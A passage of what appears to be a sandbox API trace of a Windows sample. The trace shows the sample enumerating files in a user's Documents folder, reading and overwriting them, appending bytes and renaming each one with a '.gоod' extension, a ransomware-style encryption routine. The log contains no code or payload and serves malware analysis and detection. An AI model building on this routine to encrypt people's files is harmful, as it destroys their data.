ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0260.992] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.993] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf534a0, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x6615af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5f, ftLastWriteTime.dwLowDateTime=0x6615af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5f, nFileSizeHigh=0x0, nFileSizeLow=0xc877, dwReserved0=0x0, dwReserved1=0x0, cFileName="HaF8Y_t7sjgeHGspOY.pptx", cAlternateFileName="HAF8Y_~1.PPT")) returned 1 [0260.993] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b26ff10, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x752233a0, ftLastAccessTime.dwHighDateTime=0x1d4c76f, ftLastWriteTime.dwLowDateTime=0x752233a0, ftLastWriteTime.dwHighDateTime=0x1d4c76f, nFileSizeHigh=0x0, nFileSizeLow=0x291e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lO5zdm2UPiPYz1PhuKK.csv", cAlternateFileName="LO5ZDM~1.CSV")) returned 1 [0260.993] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6498700, ftCreationTime.dwHighDateTime=0x1d4c995, ftLastAccessTime.dwLowDateTime=0xbc7cc4a0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xbc7cc4a0, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x12113, dwReserved0=0x0, dwReserved1=0x0, cFileName="TX92A.ots", cAlternateFileName="")) returned 1 [0260.993] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2891d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x9a024b80, ftLastAccessTime.dwHighDateTime=0x1d4cd26, ftLastWriteTime.dwLowDateTime=0x9a024b80, ftLastWriteTime.dwHighDateTime=0x1d4cd26, nFileSizeHigh=0x0, nFileSizeLow=0x7af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y9YzGiA75x6z249fp.docx", cAlternateFileName="Y9YZGI~1.DOC")) returned 1 [0260.993] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0260.993] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0260.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0260.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0260.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0260.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy", lpFilePart=0x0) returned 0x3c [0260.994] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0260.994] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0xcc5e9f20, ftLastWriteTime.dwHighDateTime=0x1d4cda8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.994] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf534a0, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x6615af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5f, ftLastWriteTime.dwLowDateTime=0x6615af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5f, nFileSizeHigh=0x0, nFileSizeLow=0xc877, dwReserved0=0x0, dwReserved1=0x0, cFileName="HaF8Y_t7sjgeHGspOY.pptx", cAlternateFileName="HAF8Y_~1.PPT")) returned 1 [0260.994] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b26ff10, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x752233a0, ftLastAccessTime.dwHighDateTime=0x1d4c76f, ftLastWriteTime.dwLowDateTime=0x752233a0, ftLastWriteTime.dwHighDateTime=0x1d4c76f, nFileSizeHigh=0x0, nFileSizeLow=0x291e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lO5zdm2UPiPYz1PhuKK.csv", cAlternateFileName="LO5ZDM~1.CSV")) returned 1 [0260.994] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6498700, ftCreationTime.dwHighDateTime=0x1d4c995, ftLastAccessTime.dwLowDateTime=0xbc7cc4a0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xbc7cc4a0, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x12113, dwReserved0=0x0, dwReserved1=0x0, cFileName="TX92A.ots", cAlternateFileName="")) returned 1 [0260.994] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2891d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x9a024b80, ftLastAccessTime.dwHighDateTime=0x1d4cd26, ftLastWriteTime.dwLowDateTime=0x9a024b80, ftLastWriteTime.dwHighDateTime=0x1d4cd26, nFileSizeHigh=0x0, nFileSizeLow=0x7af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y9YzGiA75x6z249fp.docx", cAlternateFileName="Y9YZGI~1.DOC")) returned 1 [0260.995] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2891d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x9a024b80, ftLastAccessTime.dwHighDateTime=0x1d4cd26, ftLastWriteTime.dwLowDateTime=0x9a024b80, ftLastWriteTime.dwHighDateTime=0x1d4cd26, nFileSizeHigh=0x0, nFileSizeLow=0x7af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y9YzGiA75x6z249fp.docx", cAlternateFileName="Y9YZGI~1.DOC")) returned 0 [0260.995] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0260.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0260.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0260.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0260.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0260.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), fInfoLevelId=0x0, lpFileInformation=0x3a24938 | out: lpFileInformation=0x3a24938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf534a0, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x6615af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5f, ftLastWriteTime.dwLowDateTime=0x6615af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5f, nFileSizeHigh=0x0, nFileSizeLow=0xc877)) returned 1 [0260.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0260.995] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0260.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.996] GetFileType (hFile=0x808) returned 0x1 [0260.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.996] GetFileType (hFile=0x808) returned 0x1 [0260.996] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0260.996] ReadFile (in: hFile=0x808, lpBuffer=0x3a24db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3a24db0*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0260.996] CloseHandle (hObject=0x808) returned 1 [0260.996] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0260.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.996] GetFileType (hFile=0x808) returned 0x1 [0260.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.996] GetFileType (hFile=0x808) returned 0x1 [0260.996] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0xc877 [0260.996] WriteFile (in: hFile=0x808, lpBuffer=0x3a26078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3a26078*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0260.997] CloseHandle (hObject=0x808) returned 1 [0260.997] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0260.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.997] GetFileType (hFile=0x808) returned 0x1 [0260.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.997] GetFileType (hFile=0x808) returned 0x1 [0260.997] ReadFile (in: hFile=0x808, lpBuffer=0x3a28368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3a28368*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0261.866] CloseHandle (hObject=0x808) returned 1 [0261.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0261.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0261.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0261.866] GetFileType (hFile=0x808) returned 0x1 [0261.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0261.867] GetFileType (hFile=0x808) returned 0x1 [0261.867] WriteFile (in: hFile=0x808, lpBuffer=0x381c808*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x381c808*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0261.867] CloseHandle (hObject=0x808) returned 1 [0261.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx", lpFilePart=0x0) returned 0x54 [0261.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx.gоod", lpFilePart=0x0) returned 0x59 [0261.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0261.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf534a0, ftCreationTime.dwHighDateTime=0x1d4c640, ftLastAccessTime.dwLowDateTime=0x6615af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5f, ftLastWriteTime.dwLowDateTime=0x984b29a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc887)) returned 1 [0261.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0261.867] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HaF8Y_t7sjgeHGspOY.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\haf8y_t7sjgehgspoy.pptx.gоod")) returned 1 [0261.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0261.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0261.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), fInfoLevelId=0x0, lpFileInformation=0x38873e8 | out: lpFileInformation=0x38873e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b26ff10, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x752233a0, ftLastAccessTime.dwHighDateTime=0x1d4c76f, ftLastWriteTime.dwLowDateTime=0x752233a0, ftLastWriteTime.dwHighDateTime=0x1d4c76f, nFileSizeHigh=0x0, nFileSizeLow=0x291e)) returned 1 [0261.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0261.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0261.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0261.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0261.869] GetFileType (hFile=0x808) returned 0x1 [0261.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0261.870] GetFileType (hFile=0x808) returned 0x1 [0261.870] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0261.870] ReadFile (in: hFile=0x808, lpBuffer=0x3887860, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3887860*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0261.870] CloseHandle (hObject=0x808) returned 1 [0261.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0261.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0261.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0261.870] GetFileType (hFile=0x808) returned 0x1 [0261.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0261.870] GetFileType (hFile=0x808) returned 0x1 [0261.870] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x291e [0261.870] WriteFile (in: hFile=0x808, lpBuffer=0x3888b28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3888b28*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0261.870] CloseHandle (hObject=0x808) returned 1 [0261.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0261.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0261.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0261.871] GetFileType (hFile=0x808) returned 0x1 [0261.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0261.871] GetFileType (hFile=0x808) returned 0x1 [0261.871] ReadFile (in: hFile=0x808, lpBuffer=0x388ae18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x388ae18*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0262.468] CloseHandle (hObject=0x808) returned 1 [0262.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0262.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0262.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0262.469] GetFileType (hFile=0x808) returned 0x1 [0262.469] SetThreadErrorMode (dwNewMode=0x0, 